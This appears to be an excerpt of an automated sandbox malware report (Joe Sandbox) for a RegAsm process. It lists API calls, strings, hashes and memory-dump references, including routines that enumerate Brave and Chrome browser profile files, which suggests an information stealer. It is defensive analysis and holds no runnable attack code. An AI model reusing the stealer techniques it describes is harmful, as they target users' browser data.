GetProcAddress.KERNEL32(6F090000,00EC1348), ref: 00419F79
GetProcAddress.KERNEL32(6F090000,00EC1568), ref: 00419F92
GetProcAddress.KERNEL32(6F090000,00EC13E8), ref: 00419FAA
GetProcAddress.KERNEL32(6F090000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F090000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(75AF0000,00EC0D48), ref: 00419FF9
GetProcAddress.KERNEL32(75AF0000,00EBA9F8), ref: 0041A011
GetProcAddress.KERNEL32(75AF0000,00EC0D60), ref: 0041A029
GetProcAddress.KERNEL32(75AF0000,00EC0E80), ref: 0041A042
GetProcAddress.KERNEL32(75D90000,00EC1368), ref: 0041A063
GetProcAddress.KERNEL32(6C590000,00EC0E50), ref: 0041A084
GetProcAddress.KERNEL32(6C590000,00EC1528), ref: 0041A09D
GetProcAddress.KERNEL32(6C590000,00EC0E98), ref: 0041A0B5
GetProcAddress.KERNEL32(6C590000,00EC0E68), ref: 0041A0CD

Strings

*, xrefs: 00419F23
xB, xrefs: 00419C75
`*, xrefs: 00419714
@+, xrefs: 004199D5
x, xrefs: 00419AE5
InternetSetOptionA, xrefs: 00419FB5
H, xrefs: 00419FEB
`A, xrefs: 00419682
0, xrefs: 00419DD7
`(, xrefs: 004195F0
), xrefs: 00419EF2
@-, xrefs: 00419EB5
-, xrefs: 00419E93
,, xrefs: 00419CD7
+, xrefs: 004196FB
*, xrefs: 00419AFE
HttpQueryInfoA, xrefs: 00419FCC
,, xrefs: 0041998C
`+, xrefs: 00419B9D
0D, xrefs: 00419CEF
`, xrefs: 0041A01C
@,, xrefs: 00419BEF
@*, xrefs: 00419744
+, xrefs: 00419DF8
hC, xrefs: 0041978D
`,, xrefs: 00419D2D

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: *$ +$ ,$ -$0$0D$@*$@+$@,$@-$H$HttpQueryInfoA$InternetSetOptionA$`$`($`*$`+$`,$`A$hC$x$xB$)$*$+$,
API String ID: 2238633743-4222654369
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction ID: 04d817b79848fc48b59ba69504da24c7d1b3191c531f4b94b2025844f93bc58f
Opcode Fuzzy Hash: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction Fuzzy Hash: E941BB79740624EBC71C9FE5EC89B987F71AB4C712BA0C062F90299190C7F9D5019B3D

Function 68EE35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(68F6F688,00001000), ref: 68EE35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 68EE35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 68EE35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 68EE363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 68EE369F
__aulldiv.LIBCMT ref: 68EE36E4
QueryPerformanceCounter.KERNEL32(?), ref: 68EE3773
EnterCriticalSection.KERNEL32(68F6F688), ref: 68EE377E
LeaveCriticalSection.KERNEL32(68F6F688), ref: 68EE37BD
QueryPerformanceCounter.KERNEL32(?), ref: 68EE37C4
EnterCriticalSection.KERNEL32(68F6F688), ref: 68EE37CB
LeaveCriticalSection.KERNEL32(68F6F688), ref: 68EE3801
__aulldiv.LIBCMT ref: 68EE3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 68EE3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 68EE3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 68EE394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 68EE35DB
GenuntelineI, xrefs: 68EE3639
AuthcAMDenti, xrefs: 68EE3946
GTC, xrefs: 68EE3912
QPC, xrefs: 68EE38FC

Memory Dump Source

Source File: 0000000B.00000002.2435937113.0000000068EE1000.00000020.00000001.01000000.00000016.sdmp, Offset: 68EE0000, based on PE: true

Associated: 0000000B.00000002.2435908280.0000000068EE0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000B.00000002.2436376776.0000000068F5D000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000B.00000002.2436448916.0000000068F6E000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000B.00000002.2436477084.0000000068F72000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68ee0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: cc0dd50ff726da5ce94a6adfca2143a749f83c9e38306ce7c0383f1e41258f67
Instruction ID: a63dcdd23746e1f23a3819d1bcd64f045f35309b95476166e58f3e4c03143dc8
Opcode Fuzzy Hash: cc0dd50ff726da5ce94a6adfca2143a749f83c9e38306ce7c0383f1e41258f67
Instruction Fuzzy Hash: 7DB19676A183009FDB48CF28C84472EF7E5FB8A704F548A2DF4A9D7360E77198818B51

Function 0040BCB0 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

Preferences, xrefs: 0040BF5E
\Brave\Preferences, xrefs: 0040C01B
Google Chrome, xrefs: 0040C474
Brave, xrefs: 0040BF42

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 004143F0 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\%s, xrefs: 00414484
%s\*, xrefs: 00414400
%s\%s, xrefs: 004144DB

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 004139B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
